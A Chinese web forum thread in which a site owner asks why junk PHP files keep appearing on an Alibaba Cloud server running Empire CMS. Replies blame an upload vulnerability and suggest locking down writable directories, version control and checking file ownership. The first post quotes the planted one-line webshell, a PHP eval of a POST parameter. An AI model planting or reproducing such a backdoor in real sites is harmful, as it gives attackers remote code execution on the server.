服务器大神来支招，网站被挂马！

[ningcool]

网站隔几天就会在 web 的一些目录下生成垃圾.php 的脚本文件。比如最近的一个 php 文件：

< php ？ php @ eval ( $_POST [ 'cmd ']) ; ？ >

只有这么一句话的恶意脚本。

我的服务器在阿里云，也买了安骑士杀毒，但是只能检测到恶意脚本，并隔离，但具体这些脚本怎么生成的无法得知，因为隔离了，几天后又有新的垃圾脚本生成。也就是我的 linux 系统里是不是有后门，怎么揪出来？ 还请各位服务器大神给点建议，指点迷津。

[yu1u]

一般都是网站存在漏洞

[liyvhg]

检查所有 UGC，特别是能上传文件的地方

[ningcool]

@liyvhg 主要是不懂 linux，你说的是检测我 web 程序的上传文件的代码吗？

[vus520]

很简单
1，可写的目录，不给执行和访问权限
2，代码做版本管理，一行命令列出来新增和修改的问题，批量清除

[mysticzt123]

网站肯定有漏洞 建议升级

[0x8C]

坠简单的方法，重装系统

[ningcool]

@vus520 1，可写的目录，不给执行和访问权限 （是不是我自己的程序 也没有可写的权限了？）
2，代码做版本管理，一行命令列出来新增和修改的问题，批量清除 （我觉得我 web 代码没有被修改，应该是 linux 系统被植入后门了）

[ningcool]

网站帝国 CMS 系统，业界公认的很安全。我知道肯定是哪里有问题了，我现在想知道 怎么查找到问题点。

[jarlyyn]

帝国 CMS 系统，业界公认的很安全

…………

啥业界？

[ningcool]

@jarlyyn 站长界 ，开源 CMS 业界。

[g8287694]

@ningcool 只要开源了就没有公认安全这个说法

[jarlyyn]

@ningcool

开源 cms 业界都快 wordpress 一家独大了，还会去公认帝国 cms 么？

看来我孤陋寡闻了……

还有最好还是尽量少觉得。

从一楼开始都在和你说是网站问题。

很简单，如果 linux 系统被植入后门了，还需 evel 去执行 php 代码吗……

会放一个 eval 脚本的，最高级也就是 ftp 密码被泄漏了吧……

[Light3]

帝国早 GG 了兄弟..
推荐你看看权限 除了穿图的目录 其余的都别给权限

[Patrick95]

被挂一句话木马八成是网站 /CMS 有上传漏洞。

[rootx]

帝国 CMS 确实业界公认最安全…白帽子界。

[ningcool]

@jarlyyn 谢谢点播，不过 cms 中确实是帝国 CMS 最安全，wordpress 虽然流行，虽然独大， 但是安全性不如帝国吧。

[LioMore]

楼主说的业界早就不属于这个时代了

[ningcool]

@Light3 帝国早 GG 此话怎么说？ 难道有更好的替代品？

[tempdban]

@ningcool 你咋就认帝国呢？
wordpress 这么多年一直在更新，为啥你会觉得安全性不如帝国

[jarlyyn]

@ningcool

随便了，不和你讨论安全的问题了。

如果是最简单的木马，看看那些生成的文件是什么用户的。

如果是 apache 用户的(www-data 或者 apache)

那就本就是网站问题了。